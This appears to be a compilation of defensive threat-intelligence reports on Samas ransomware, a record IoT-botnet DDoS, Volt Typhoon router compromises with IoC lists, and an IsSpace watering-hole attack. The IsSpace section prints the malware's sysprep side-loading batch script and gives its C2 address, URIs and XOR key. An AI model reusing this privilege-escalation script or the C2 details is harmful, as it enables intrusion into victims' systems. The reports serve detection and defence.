On the surface, BITTERBUG serves as an example of how threat actors mask their operations across social, cultural, and geographic boundaries. More importantly, it demonstrates the value of threat intelligence sharing and industry collaboration. As one organization begins to pull at a thread of evidence and share their findings with another, a larger understanding and shared perspective is revealed. It is through this process that a shared awareness emerges into a larger, more comprehensive story that explains what we are seeing and why - ultimately it is this story that better serves us all. |
# The Continuing Evolution of Samas Ransomware
Kevin Strickland
Continued development of this malware indicates the threat actors are persistent.
Ransomware has evolved from single-system infections to enterprise compromises. In some of the more well-known and better publicized ransomware cases, a user either receives and executes a malicious attachment or is the victim of an exploit kit such as Angler, resulting in one system being infected with ransomware. The ransomware encrypts specific files on the system and may encrypt files on mapped network drives. Some ransomware variants also target and encrypt files on unmapped, open network shares that can be accessed using the user's credentials.
In the first quarter of 2016, SecureWorks analysts identified a trend of more extensive, enterprise-wide ransomware infections. Instead of only one system being affected, a significant percentage of systems within the compromised infrastructure exhibited signs of ransomware infection. This type of ransomware attack has had a significant impact on organizations in several verticals, including hospitality, healthcare, education, and manufacturing. No single industry appears to be targeted more than another. During one incident, SecureWorks analysts found that more than 30% of the organization's systems were infected with ransomware, including a server hosting the cloud backup application. The client could not properly restore encrypted documents, causing a significant strain on the company and its employees. The threat actors used tactics and techniques popular with dedicated adversaries and infected the systems with the ransomware variant known as Samas (also known as SamSam).
Samas ransomware is documented in several security articles, blogs, and forums, including a blog post published by the SecureWorks Counter Threat Unit™ (CTU) research team on March 30, 2016. Threat actors established a foothold within the infrastructure, harvested credentials, used the stolen credentials to conduct reconnaissance and map the compromised infrastructure, and later deployed and executed the Samas ransomware on multiple systems. The damage inflicted by this malware prompted the U.S. Federal Bureau of Investigation (FBI) to “[ask] business and software security experts for emergency assistance in its investigation.”
As the Samas ransomware has become more prevalent, low-level indicators such as file hashes, ransom note “help” files, and encrypted filename extensions have been publicly released. Additionally, the antivirus industry is attempting to keep pace with updates to detect the ransomware. The release of this information benefits two groups: victims and the Samas malware author(s). Affected organizations can more efficiently identify the ransomware, decreasing the time spent on containment and eradication. The malware authors react to the publicized information by modifying their code, effectively nullifying many of the published indicators, in some cases, avoiding detection by traditional antivirus applications.
SecureWorks analysts have identified updated versions of the Samas ransomware, indicating that the authors have been modifying their code. The Samas ransomware is a .NET compiled binary, and the primary filename associated with the ransomware is samsam.exe. An initial samsam.exe variant analyzed by SecureWorks contained a compile date in January 2016 and a file description field of “MicrosoftSAM.” SecureWorks analysts identified three additional variants of the Samas ransomware:
| Name | Compile date | File description field |
|---------------------|--------------------|-------------------------------------------|
| mikoponi.exe | March 2016 | MiCro Oragns |
| RikiRafael.exe | Early April 2016 | Microsoft BenchMark CPU |
| showmehowto.exe | April 24, 2016 | Adobe Flash Player |
As illustrated, each of the four variants were identified by a unique Program Database (PDB) file string embedded within the file. The PDB file stores debugging information for an application and often indicates the original name of the program.
The older Samas variants contained two hidden executables within the portable executable (PE) resource section: del.exe and selfdel.exe. The del.exe file is the legitimate Microsoft SysInternals SDelete application. Tests of the ransomware indicate that selfdel.exe is used to delete both samsam.exe and del.exe from the infected system.
In the more recent mikoponi.exe and RikiRafael.exe variants, both executables contained one binary (SDelete) hidden in the resource section. Instead of using two executables, these variants create a Windows batch script to delete itself. The batch script sets three variables: the Samas executable name (EXE), SDelete (DEL), and the Samas executable process path (PEXE). A FOR loop is created, executing ‘tasklist' in search of the running Samas process. If the process is still running, the batch script continues to run in a loop, creating a delay by pinging the local host five times and repeating the search process. If the process is not found, SDelete (DEL) executes and deletes the Samas ransomware. The batch script then deletes both SDelete and itself.
As an additional forensic indicator, a registry key is created when SDelete executes with the “-accepteula” parameter (which is required the first time it is executed on any system), which indicates that the end-user license agreement (EULA) was accepted. The key is created within the profile of the user who executed SDelete (e.g., HKEY_CURRENT_USER\Software\Sysinternals\SDelete).
The most recent Samas variant observed by SecureWorks analysts as of this publication (showmehowto.exe) uses a batch script but forgoes the use of SDelete, leaving the malware on the system. Within one month, the Samas authors developed two variants, and each iteration made past low-level threat indicators obsolete.
All of the Samas variants analyzed by SecureWorks are .NET compiled binaries with code obfuscation. Using a decompiler tool, several attributes of the recent variants can be identified, notably the ransom note filenames and the extension of the encrypted files. The samsam.exe variant created ransom note files labeled HELP_DECRYPT_YOUR_FILES and used the extension .encryptedRSA.
Both the mikoponi and RikiRafael Samas variants label their ransom note files HOW_TO_DECRYPT_FILES. The files encrypted by the mikoponi variant use the extension .encryptedAES, while files encrypted by the RikiRafael variant use the extension .justbtcwillhelpyou. The showmehowto.exe variant labels ransom note files HELP_FOR_DECRYPT_FILE and uses the .btc-help-you extension.
Based on the analyzed Samas samples, the core code of the Samas ransomware has not drastically changed. However, the continued development of the ransomware binaries indicate that the threat actors are persistent and will continue to deliver updated versions to evade detection and continue their campaign. Endpoint detection mechanisms such as the SecureWorks Advanced Endpoint Threat Detection (AETD) service go beyond the detection of low-level threat indicators, applying behavioral analysis and human intelligence to detect the adversary and protect your endpoints. |
# KrebsOnSecurity Hit With Record DDoS
On Tuesday evening, KrebsOnSecurity.com was the target of an extremely large and unusual distributed denial-of-service (DDoS) attack designed to knock the site offline. The attack did not succeed thanks to the hard work of the engineers at Akamai, the company that protects my site from such digital sieges. But according to Akamai, it was nearly double the size of the largest attack they’d seen previously, and was among the biggest assaults the Internet has ever witnessed.
The attack began around 8 p.m. ET on Sept. 20, and initial reports put it at approximately 665 Gigabits of traffic per second. Additional analysis on the attack traffic suggests the assault was closer to 620 Gbps in size, but in any case this is many orders of magnitude more traffic than is typically needed to knock most sites offline.
Martin McKeay, Akamai’s senior security advocate, said the largest attack the company had seen previously clocked in earlier this year at 363 Gbps. But he said there was a major difference between last night’s DDoS and the previous record holder: The 363 Gbps attack is thought to have been generated by a botnet of compromised systems using well-known techniques allowing them to “amplify” a relatively small attack into a much larger one. In contrast, the huge assault this week on my site appears to have been launched almost exclusively by a very large botnet of hacked devices.
The largest DDoS attacks on record tend to be the result of a tried-and-true method known as a DNS reflection attack. In such assaults, the perpetrators are able to leverage unmanaged DNS servers on the Web to create huge traffic floods. Ideally, DNS servers only provide services to machines within a trusted domain. But DNS reflection attacks rely on consumer and business routers and other devices equipped with DNS servers that are (mis)configured to accept queries from anywhere on the Web.
Attackers can send spoofed DNS queries to these so-called “open recursive” DNS servers, forging the request so that it appears to come from the target’s network. That way, when the DNS servers respond, they reply to the spoofed (target) address. The bad guys also can amplify a reflective attack by crafting DNS queries so that the responses are much bigger than the requests. They do this by taking advantage of an extension to the DNS protocol that enables large DNS messages. For example, an attacker could compose a DNS request of less than 100 bytes, prompting a response that is 60-70 times as large. This “amplification” effect is especially pronounced if the perpetrators query dozens of DNS servers with these spoofed requests simultaneously.
But according to Akamai, none of the attack methods employed in Tuesday night’s assault on KrebsOnSecurity relied on amplification or reflection. Rather, many were garbage Web attack methods that require a legitimate connection between the attacking host and the target, including SYN, GET and POST floods. That is, with the exception of one attack method: Preliminary analysis of the attack traffic suggests that perhaps the biggest chunk of the attack came in the form of traffic designed to look like it was generic routing encapsulation (GRE) data packets, a communication protocol used to establish a direct, point-to-point connection between network nodes. GRE lets two peers share data they wouldn’t be able to share over the public network itself.
“Seeing that much attack coming from GRE is really unusual,” Akamai’s McKeay said. “We’ve only started seeing that recently, but seeing it at this volume is very new.” McKeay explained that the source of GRE traffic can’t be spoofed or faked the same way DDoS attackers can spoof DNS traffic. Nor can junk Web-based DDoS attacks like those mentioned above. That suggests the attackers behind this record assault launched it from quite a large collection of hacked systems — possibly hundreds of thousands of systems. “Someone has a botnet with capabilities we haven’t seen before,” McKeay said. “We looked at the traffic coming from the attacking systems, and they weren’t just from one region of the world or from a small subset of networks — they were everywhere.”
There are some indications that this attack was launched with the help of a botnet that has enslaved a large number of hacked so-called “Internet of Things” (IoT) devices — routers, IP cameras and digital video recorders (DVRs) that are exposed to the Internet and protected with weak or hard-coded passwords.
As noted in a recent report from Flashpoint and Level 3 Threat Research Labs, the threat from IoT-based botnets is powered by malware that goes by many names, including “Lizkebab,” “BASHLITE,” “Torlus” and “gafgyt.” According to that report, the source code for this malware was leaked in early 2015 and has been spun off into more than a dozen variants. “Each botnet spreads to new hosts by scanning for vulnerable devices in order to install the malware,” the report notes. “Two primary models for scanning exist. The first instructs bots to port scan for telnet servers and attempts to brute force the username and password to gain access to the device.”
Their analysis continues: “The other model, which is becoming increasingly common, uses external scanners to find and harvest new bots, in some cases scanning from the [botnet control] servers themselves. The latter model adds a wide variety of infection methods, including brute forcing login credentials on SSH servers and exploiting known security weaknesses in other services.”
I’ll address some of the challenges of minimizing the threat from large-scale DDoS attacks in a future post. But for now it seems likely that we can expect such monster attacks to soon become the new norm. Many readers have been asking whether this attack was in retaliation for my recent series on the takedown of the DDoS-for-hire service vDOS, which coincided with the arrests of two young men named in my original report as founders of the service. I can’t say for sure, but it seems likely related: Some of the POST request attacks that came in last night as part of this 620 Gbps attack included the string “freeapplej4ck,” a reference to the nickname used by one of the vDOS co-owners.
Update Sept. 22, 8:33 a.m. ET: Corrected the maximum previous DDoS seen by Akamai. It was 363, not 336 as stated earlier. |
# SecurityScorecard Threat Research: Volt Typhoon
## Summary
The SecurityScorecard Threat Research, Intelligence, Knowledge, and Engagement (STRIKE) Team has identified new infrastructure linked to the threat actor group tracked as Volt Typhoon.
- Volt Typhoon is a state-sponsored group based in China that typically focuses on espionage and information gathering. Approximately 30% of the Cisco RV320/325 devices observed by SecurityScorecard in a 37-day period may have been compromised by Volt Typhoon.
- The Cisco RV320/325 vulnerability was publicly disclosed in January 2019.
- For RV320, there are 35 known vulnerabilities for the Dual Gigabit WAN VPN Router Firmware, all with a CVSS score of 9.
- Two vulnerabilities from 2019 mentioned in the CISA KEV list (CVE-2019-1653, CVE-2019-1652) could have been exploited by Volt Typhoon.
- SecurityScorecard research illustrates state-sponsored threat actor groups’ ongoing ability to identify vulnerable devices in an attempt to compromise target networks.
- The STRIKE Team observed frequent connections between these devices and known Volt Typhoon infrastructure from 12/1/23 to 1/7/2024, suggesting a very active presence.
- The devices are end-of-life, so Cisco has not released and will not release software updates to address vulnerabilities affecting them.
SecurityScorecard researchers uncovered evidence of a previously unspecified webshell, fy.sh, on Cisco routers and other network edge devices targeted by the group.
- China Chopper is probably the best-known web shell used by China-linked APT groups; SecurityScorecard has now observed evidence of another.
- The STRIKE Team observed possible targeting of U.S., U.K., and Australian government assets by two such devices.
- Public reporting on Volt Typhoon has not previously noted its targeting of Australian or U.K. government assets in addition to U.S. ones.
Researchers identified two previously unidentified IP addresses belonging to a cluster of activity linked to Volt Typhoon: 45.63.60[.]39 and 45.32.174[.]131. The file name and IP addresses the STRIKE Team discovered may offer further indications of Volt Typhoon’s preparation of new infrastructure, which other recent reports have also observed.
## Recommendations
See what a hacker sees to stop adversaries:
1. **Identify vulnerable devices**
Map your digital footprint with SecurityScorecard to identify Cisco RV320/325 devices on your network.
2. **Upgrade end-of-life devices**
Since the vendor no longer provides support or patches for these devices, it is recommended to upgrade to supported products immediately.
3. **Continuous monitoring**
SecurityScorecard validates your digital footprint on a continuous basis, so you can keep track of changes in your network that introduce new security issues.
## Background
Following the publication of reports of new activity attributed to the threat actor group tracked as Volt Typhoon and Bronze Silhouette, which the cybersecurity community believes to conduct espionage on behalf of the People’s Republic of China (PRC), the STRIKE Team began to track and identify covert infrastructure linked to the campaign. The reports already published about the group note varying levels of complexity, but its use of compromised small office and home office (SOHO) equipment such as routers and firewalls to conduct attacks abroad is a recurring feature. This research is based on the infrastructure that SecurityScorecard’s global internet data and other passive signals collections identified.
Lumen’s Black Lotus Labs’ recently published report identified a group of compromised SOHO devices appearing to constitute a botnet that threat actors, including but not limited to Volt Typhoon, have used to covertly transfer data. The compromised devices the botnet uses include Cisco and DrayTek routers, NETGEAR firewalls, and Axis IP cameras. STRIKE researchers used the indicators of compromise (IoCs) published alongside that report to conduct further research, which led to the newly identified infrastructure discussed below.
Further research suggests that the Volt Typhoon-linked botnet’s compromise of Cisco RV320 and RV325 routers may be more extensive than previously reported. Researchers additionally used a strategic partner’s network flow (NetFlow) data to develop additional insights into activity involving this population of possible target devices and found that approximately 30% of them (325 of 1,116 devices) communicated with two IP addresses previously named as proxy routers used for command and control (C2) communications, 174.138.56[.]21 and 159.203.113[.]25, in a thirty-day period. Communication with known botnet C2 infrastructure may suggest participation in that same botnet’s activities.
The continued activity by one of the aforementioned C2 proxies, 159.203.113[.]25, into early January, appears to reflect a shift in the botnet’s C2 infrastructure. Prior to mid-November, another DigitalOcean IP address named as an IoC linked to the same botnet, 159.203.72[.]166, appears to have been more active, but the increased activity from 159.203.113[.]25 from November 17 onward suggests that the latter took the former’s place. A similar shift appears to have occurred in the botnet’s Vultr infrastructure as well.
Additionally, SecurityScorecard’s scan data has revealed a group of Cisco routers with metadata containing an IP address cited above named as a payload server, which suggests compromise by Volt Typhoon or another threat actor using the same botnet. This metadata refers to a wget command featuring 45.11.92[.]176, a known Volt Typhoon IoC, and references a file, fy.sh, that the devices in question retrieve and execute from 45.11.92[.]176. However, as of January 8, 2024, the payload server is offline.
Metadata for the following IP addresses indicates that they contact the payload server at the IP address listed among other new IoCs associated with Volt Typhoon:
- 46.10.197[.]206
- 24.212.225[.]54
- 176.102.35[.]175
- 208.97.106[.]10
- 93.62.0[.]77
- 70.60.30[.]222
- 194.50.159[.]3
- 184.67.141[.]110
- 80.64.80[.]169
## Findings
### Cisco Webshell
Researchers additionally noted that the infrastructure observed communicating with 45.11.92[.]176 features a webshell implant. This implant performs a wget request to the payload server to download a file named fy.sh.
Of the IoCs Lumen circulated, the two files identified by the SHA256 hashes 7043ffd9ce3fe48c9fb948ae958a2e9966d29afe380d6b61d5efb826b70334f5 (the file named Kv-all.sh) and 36c63d0c2a78497ccf555e84f0233a514943faeff38281d99d00baf5df23f184 are shell files. A sample of the particular file named fy.sh that 45.11.92[.]176 served does not yet appear to be publicly available, but two files with that name have appeared in VirusTotal. These two files, however, appear to be unrelated to the recent campaign; vendors detect them as macOS adware and both were last seen in Summer 2021, while the activity discussed in Lumen’s report began in February 2022. The fy.sh served by 45.11.92[.]176 may therefore more likely correspond to a different file also named fy.sh, one which may be similar to either of the .sh files Lumen named as IoCs.
### Additional NetFlow Analysis
Researchers conducted further analysis of NetFlow data to develop additional insights into activity that may be related to the campaign. The analysis below focuses on traffic involving the payload server discussed above, devices observed communicating with it, and other newly identified compromised devices; communications between these compromised devices and other network devices may also offer insights into the campaign’s victimology.
Researchers identified new IP addresses that belong to the Volt Typhoon-linked C2 infrastructure Lumen termed the “JDY Cluster” based on the recurrence of the same common name, “jdyfj,” in the SSL certificates observed at the IP addresses in this cluster. The two new IP addresses belonging to the cluster are 45.63.60[.]39 and 45.32.174[.]131.
To identify these IP addresses, researchers first used SecurityScorecard’s scan data to collect a group of IP addresses where products Volt Typhoon is known to compromise are in use and then leveraged a strategic partner’s network flow (NetFlow) data to collect traffic samples for those IP addresses. 202.22.227[.]179 is one such IP address; SecurityScorecard’s data indicates that a Cisco RV325 device is in use there and, according to the traffic samples for established Volt Typhoon-linked IoCs, it has communicated regularly with IP addresses previously linked to Volt Typhoon.
SecurityScorecard’s Attack Surface Intelligence module indicates that 202.22.227[.]179 is located in Noumea, New Caledonia and belongs to Micro Logic Systems (mls[.]nc), a New Caledonian internet service provider (ISP). Its location and attribution to an ISP may further suggest 202.22.227[.]179’s use as a transit point for Volt Typhoon-related traffic; New Caledonia is an island chain in the Southwest Pacific, so it may be a common occurrence for traffic between the Asia-Pacific (APAC) region and the Americas to pass through New Caledonian communications infrastructure en route to a final destination either elsewhere in APAC or in the Americas.
The available analysis of Volt Typhoon has highlighted its targeting of communications between APAC and the Americas – its intrusions into the networks of telecommunications providers and other critical infrastructure in Guam attracted particular attention in previous reporting – so its exploitation of telecommunications infrastructure on another Pacific island may be in keeping with this previous behavior.
However, a separate traffic sample focused specifically on 202.22.227[.]179 indicated frequent communication between 202.22.227[.]179 and both 45.63.60[.]39 and 45.32.174[.]131.
45.63.60[.]39 communicated with 202.22.227[.]179 3,097 times between December 28 and 31 and 45.32.174[.]131 communicated with it 3,358 times over the same period. Both of these IP addresses belong to the same hosting provider as others previously identified as Volt Typhoon IoCs and both feature SSL certificates issued to jdyfj, the same subject that appeared in the SSL certificates at IP addresses Lumen previously named as part of the JDY cluster. Both 45.63.60[.]39 and 45.32.174[.]131 are therefore likely previously unidentified parts of that cluster.
Additional activity involving 45.63.60[.]39 may further reflect behavior associated with Volt Typhoon. It and 67.205.139[.]175, a Tor exit node, communicated twenty-five times between December 28 and December 30. Previous reports have noted that Volt Typhoon has used Tor for its C2 communications, so this traffic may reflect C2 communications between different Volt Typhoon-controlled resources.
STRIKE Team researchers additionally observed four instances of communication between 31.19.153[.]48, an IP address where SecurityScorecard’s data indicates another product Volt Typhoon has been observed exploiting, a DrayTek Vigor 2960 router, is in use and 202.22.227[.]179 on November 18. Given that Volt Typhoon is known to compromise the specific DrayTek and Cisco devices in use at 31.19.153[.]48 and 202.22.227[.]179, that they were communicating with one another, and that 202.22.227[.]179 also communicated regularly with other Volt Typhoon-linked IP addresses, communications between these two IP addresses may also reflect Volt Typhoon activity, although it is not clear at present if the IP addresses represent infrastructure particular to Volt Typhoon.
Researchers also collected and analyzed samples of traffic involving known Volt Typhoon infrastructure, given that the behavior originating IP addresses named as Volt Typhoon-related IoCs could offer additional insights into the group’s activity. This sample led researchers to other IP addresses that may represent additional, previously unidentified Volt Typhoon infrastructure. 144.202.49[.]189, an IP address Lumen identified as a proxy router for Volt Typhoon’s C2 communications, and 82.117.159[.]158, an IP address where SecurityScorecard’s data indicates a Cisco router is in use, communicated 68,164 times between December 1 and December 7. Given the frequency of its communication with a known Volt Typhoon asset, and the observation of a product Volt Typhoon has been observed exploiting in use at it, 82.117.159[.]158 may represent an additional Volt Typhoon-linked IoC.
As with the findings discussed previously, these communications may suggest that the botnet linked to Volt Typhoon is more extensive than previously reported, as communications between known IoCs linked to it and devices it is known to exploit could suggest compromise (and subsequent malicious reuse) of those devices.
The payload server’s traffic sample, meanwhile, featured communication between it and fourteen IP addresses that appear to host routers and other devices like those listed in Lumen’s recent report on the botnet Volt Typhoon has used from November 9th to December 18th. The use of these devices and the IP addresses’ communication with the payload server may suggest that the following are the fourteen IP addresses also represent previously unpublished IoCs linked to the botnet identified by Lumen:
- 192.149.47[.]110
- 49.204.75[.]92
- 212.11.106[.]139
- 61.2.141[.]161
- 89.203.140[.]246
- 49.204.75[.]90
- 94.125.218[.]19
- 114.143.222[.]242
- 183.82.110[.]178
- 117.211.166[.]22
- 117.239.157[.]74
- 49.204.65[.]90
- 210.212.224[.]124
- 49.204.73[.]250
While STRIKE Team researchers have not observed published vulnerabilities affecting the products at the IP addresses above in SecurityScorecard’s datasets, they did note that many of these products may be outdated. Twelve of the fourteen IP addresses above feature SSL certificates for NETGEAR products issued in either 2007 or 2013. If these certificates’ issue dates are also an indication of their products’ age, it may suggest that these products have reached end-of-life. This may reflect the previously published observation that Volt Typhoon and other threat actors using the newly identified botnet appeared to be taking advantage of the widespread use and easy accessibility of end-of-life SOHO devices.
In order to identify additional, possibly compromised infrastructure involved in the same activity, researchers next filtered the traffic sample by product type and focused on IP addresses where the strategic partner furnishing the sample observed DrayTek routers, given that in one cluster of activity discussed in Lumen’s report, DrayTek devices comprised distinct layers of infrastructure through which the threat actors tunneled traffic from other compromised devices. This yielded the following IP addresses:
- 112.120.122[.]88
- 125.227.15[.]174
- 219.76.184[.]200
- 37.224.98[.]249
- 14.224.157[.]129
- 218.161.3[.]216
- 31.120.199[.]123
- 82.69.127[.]130
- 110.175.91[.]70
Finally, researchers collected separate traffic samples for each of the IP addresses where SecurityScorecard’s partner observed a DrayTek device and then compared these samples to identify IP addresses that recurred across them, as their recurrence may suggest that the IP addresses correspond to other layers in the same cluster of activity represented by the DrayTek routers should this group of DrayTek devices constitute such a layer. The following are the IP addresses that appeared in multiple DrayTek devices’ traffic samples:
- 212.11.108[.]127
- 129.132.120[.]59
- 212.11.107[.]193
- 212.11.106[.]139
- 212.11.124[.]98
- 147.87.210[.]109
## Potential Victimology
STRIKE Team researchers additionally observed communication between two Czech IP addresses that appeared in the payload server’s traffic sample and IP addresses hosting U.S. government domains. SecurityScorecard’s Attack Surface Intelligence tool indicates that both Czech IP addresses host NETGEAR ProSAFE devices.
The recently published reports on new Volt Typhoon activity have noted that it exploited NETGEAR firewalls with some regularity. Given that SecurityScorecard’s data reflects the use of NETGEAR products at the IP addresses observed and that the same IP addresses both contacted a payload server previously linked to Volt Typhoon and other IP addresses hosting U.S. government domains, these IP addresses may not only be previously unidentified components of Volt Typhoon’s network of compromised devices, but may also reflect Volt Typhoon’s targeting of U.S. and allied government entities.
An initial traffic sample for these two possibly compromised IP addresses reflected communication between them and seven IP addresses to which two different .gov domains, login[.]gov and login.gov.external-domains-production.cloud[.]gov, and one Australian government domain, login.service.nsw[.]gov[.]au, resolved at the time of observation. A second, more recent traffic sample for these same two Czech IP addresses revealed repeated communication between them and twenty-seven IP addresses hosting a total of sixty-nine U.S., U.K., Australian, and Indian government sites. Given that these domains appear to correspond to government assets and that Volt Typhoon has previously targeted U.S. government entities, this traffic may reflect additional targeting of the U.S. and allied governments by Volt Typhoon or a similar group, although it does not indicate a successful compromise.
While public reporting on Volt Typhoon has not previously noted its targeting of Australian or U.K. government assets in addition to U.S. ones, such activity would be in keeping with PRC nation-state cyber activity more generally, as these countries’ roles in the Western alliance system (including their Five Eyes and AUKUS membership) have contributed to their frequent targeting by China-linked APT groups.
## Conclusion
Black Lotus Labs’ recent report assessed that the Volt Typhoon activity observed likely reflected the group’s development of new infrastructure in preparation for a period of renewed activity. The communications between targeted models of Cisco routers and known Volt Typhoon IoCs, which STRIKE Team researchers observed, suggests that these preparations are ongoing and extensive, as almost a third of the Cisco devices appearing in SecurityScorecard’s dataset communicated with these IoCs in a seven-day period.
Similarly, the newly identified IP addresses specified above that may represent new, Volt Typhoon-linked IoCs may offer further indication that the group’s preparation of new infrastructure has continued. Given their communication with known Volt Typhoon IoCs and the appearance of other Volt Typhoon-linked artifacts in SecurityScorecard’s scan data about them, the STRIKE Team assesses with moderate confidence that the following IP addresses represent previously unidentified Volt Typhoon IoCs:
- 45.63.60[.]39
- 89.203.140[.]246
- 45.32.174[.]131
- 94.125.218[.]19
- 82.117.159[.]158
- 183.82.110[.]178
- 46.10.197[.]206
- 117.239.157[.]74
- 176.102.35[.]175
- 210.212.224[.]124
- 93.62.0[.]77
- 49.204.75[.]92
- 194.50.159[.]3
- 61.2.141[.]161
- 80.64.80[.]169
- 49.204.75[.]90
- 24.212.225[.]54
- 114.143.222[.]242
- 208.97.106[.]10
- 117.211.166[.]22
- 70.60.30[.]222
- 184.67.141[.]110
- 49.204.73[.]250
While certain contextual factors (the use of devices Volt Typhoon has previously targeted and communication with other such devices, including some that in turn communicated with IP addresses linked to Volt Typhoon) may suggest that the other IP addresses discussed elsewhere in this document are involved in Volt Typhoon-linked activity, the available evidence does not appear, at present, to indicate that they represent Volt Typhoon-specific infrastructure. |
# Watering Hole Attack on Aerospace Firm Exploits CVE-2015-5122 to Install IsSpace Backdoor
**By Bryan Lee and Josh Grunzweig**
**July 20, 2015**
On July 16, 2015, the Palo Alto Networks Unit 42 threat intelligence team discovered a watering hole attack on the website of a well-known aerospace firm. The website was compromised to launch an apparent watering-hole attack against the company's customers. It was hosting an Adobe Flash exploit targeting one of the newly disclosed vulnerabilities from the Hacking Team data breach, CVE-2015-5122.
This attack showcases the opportunistic tendencies of adversary groups and bad actors. The malware deployed by this exploit has been seen in a number of targeted attacks and provides attackers with a foothold on the victim’s machine and/or network.
The exploit file, `movie.swf`, was ZWS compressed, a tactic that has been observed to evade anti-virus programs. Once uncompressed, a binary was found to be embedded in the Flash file. Upon further analysis, this file was found to contain behavior consistent with a Trojan commonly called IsSpace. Based on its codebase and behavioral patterns, it appears that IsSpace could possibly be an evolution of the NFlog backdoor, which has previously been attributed to the adversary groups DragonOK and Moafee. Both groups are thought to be operating out of Southeast Asia, and Moafee in particular has been associated with attacks on the US defense industrial base.
## Exploit Details
The CVE-2015-5122 exploit found within the Flash file is nearly identical to the original proof of concept (POC) disclosed publicly from the Hacking Team data breach. An analysis by Trend Micro covers the POC in detail. Unlike the POC mentioned in the Trend Micro report, this particular exploit file was weaponized, and, instead of loading `calc.exe`, a much more malicious file was loaded. The embedded shellcode is obfuscated using the same technique of representing bytes as integers and exponential numbers. However, it appears that the adversary did not modify the POC much, as the variable name ‘calc’ remains unchanged.
Looking at the shellcode in further detail shows a fairly simplistic instruction set. Functions are loaded dynamically, and a file is dropped to `%TEMP%\Rdws.exe` before being executed using the `WinExec` Windows API call.
Returning to the Flash exploit, we discover that the dropped file is embedded within the Flash file itself as ByteArray. This binary data is loaded and decompressed with ZLIB prior to being stored in a newly allocated section of memory. The address of this binary data is then stored in the shellcode before it is executed.
After successful execution, a binary with the following attributes is executed on the victim’s machine:
- **MD5**: 319500B2C792AEE6CD8EF8EE87D9DC1E
- **SHA1**: 723DB4F13E98364098D76B925EA197F9ECD5309B
- **SHA256**: 27439ADAA07F5AD16EB8039C16ECEB4E71F6358E7FC13AC645E8878DA8C3E77E
- **Size**: 59904 Bytes
- **File Type**: PE32 executable (GUI) Intel 80386, for MS Windows
- **Compile Timestamp**: 2014-11-14 04:35:13 UTC
## Malware Details
As seen by the compile timestamp, this malware sample is not extremely current. The timestamp shows a compile date of November 14, 2014, which indicates that the infrastructure used by this particular sample has remained intact for quite some time. Analysis of the malware indicates that this sample is highly likely to be the Trojan tool IsSpace, which shares similar code and behaviors as the NFlog tool.
When comparing IsSpace to NFlog, we noticed a number of changes have been made. When initially run, the malware attempts to write log messages to `C:\ProgramData\log[.]txt`, indicating that this variant was intended to run on Microsoft Windows 7 or higher. However, it still maintains the capability to run on operating systems earlier than Microsoft Windows 7 if needed. IsSpace creates an event named ‘MdQ0784kd’ to ensure that only a single instance of the malware is running at any given time on an infected host.
To determine the flow of execution, IsSpace gathers various data about the infected host, such as administrative rights of the user, operating system version, and CPU architecture. If IsSpace determines that it is running as an administrator on a Microsoft Windows 7 system on a 32-bit platform, it will attempt to execute itself accordingly, using a side-loading technique. The malware will drop a cabinet file and batch script to the following locations:
- `%TEMP%\FASAP.DAT`
- `%TEMP%\FASAPI.bat`
The batch script contains the following:
```
@echo off
ping localhost
start wusa [%TEMP%]\FASAP.DAT /quiet /extract:%windir%\system32\sysprep\
ping localhost
ping localhost
ping localhost
ping localhost
ping localhost
start %windir%\system32\sysprep\sysprep.exe "[CWD]\[Malware].EXE"
```
The batch script will first extract the cabinet file to the sysprep directory. The extracted file is a 32-bit DLL with the name ‘CryptBase.dll.’ The batch script continues to execute `sysprep.exe` after approximately 5 seconds, which will automatically load the dropped `CryptBase.dll` file. This DLL will execute the provided argument in a child process. This newly created process has elevated privileges as it is spawned by `sysprep.exe`.
A similar process is taken for 64-bit systems. However, instead of dropping a batch script, a 64-bit executable along with a cabinet file containing a 64-bit version of `CryptBase.dll` is dropped to the following path instead:
- `%TEMP%\FASAPI.bin`
- `%TEMP%\FASAP.DAT`
This executable is then run in a new process. It is responsible for unpacking the cabinet file and spawning a new instance of `sysprep.exe`.
If the malware detects that it is running on a Windows XP host, it will attempt to check for Internet connectivity by making an HTTP request to www.microsoft.com. This is similar to characteristics observed in the NFlog backdoor, with the primary deviation being that this activity only takes place when running in a Windows XP environment with IsSpace.
IsSpace proceeds to make HTTP requests to 172.246.109.27, which appears to be its primary command and control (C2) server. The initial HTTP request is made to ‘//STTip.asp.’ After the initial beacon, IsSpace will exfiltrate victim information by making an HTTP request to ‘//SNews.asp?HostID=xx-xx-xx-xx-xx-xx’, where the HostID contains the victim’s MAC address. The POST data sent in this request is encrypted using the same four-byte XOR key of ‘\x35\x8E\x9D\x7A’ that has been used by the NFlog tool.
The decrypted information contains data similar to the following:
```
'60-F8-1D-CC-2F-CF#%##%#172.16.95.137#%#WIN-LJLV2NKIOKP#%#Win7#%#English(US)#%#2015-07-17 09:31:57#%#Active#%#303_20140401#%#IsAdmins#%#IsSpace'
```
Once again, the exfiltrated data is very similar to what has been used by NFlog; however, with IsSpace, the victim’s user privilege level is also included, in addition to a variable of either ‘IsSpace’ or ‘IsGoogle.’ This particular variable is still under investigation by Unit 42. Additionally, we see what is likely a campaign code of ‘303_20140401’.
After the successful check-in and initial exfiltration, IsSpace will then accept the following commands:
| Command | Description | Response URI |
|--------------|----------------------------|-----------------------|
| CMD | Executes command | //STravel.asp |
| Browse | List specified directory | //SJobs.asp |
| UploadFile | Upload file | //SSports.asp |
| DownLoad | Download file | //SWeather.asp |
| DelFile | Delete file | N/A |
IsSpace provides attackers with a foothold into the victim’s machine and/or network. While the malware itself provides limited functionality, it allows attackers to perform minimal reconnaissance and deploy further malware onto the device.
## Infrastructure
The IP 172.246.109.27 is hardcoded in the IsSpace sample and is likely to be the primary C2 server. Pivoting off of this primary C2 IP address using passive DNS data, we located seven domain names and two additional IP addresses that may be related to this attack. Three of the domains found used the prefix ‘ssl’ or ‘dns’ as the third level domain; this tactic is commonly used by malware authors as an evasion method.
Examining the WHOIS data for the domains revealed additional intelligence on possible attribution. Specifically, the WHOIS data showed the start-vedioing[.]net to be allegedly registered to an entity in Japan:
- **Registrant Name**: Alta Rohde
- **Registrant City**: tokoy
- **Registrant Country**: Japan
- **Registrant Email**: alta.rohde@inbox[.]com
And the anywhere-staring[.]com was found to be allegedly registered to an entity in China:
- **Registrant Name**: lan fei
- **Registrant City**: bei da
- **Registrant Country**: China
- **Registrant Email**: csolyc110@163[.]com
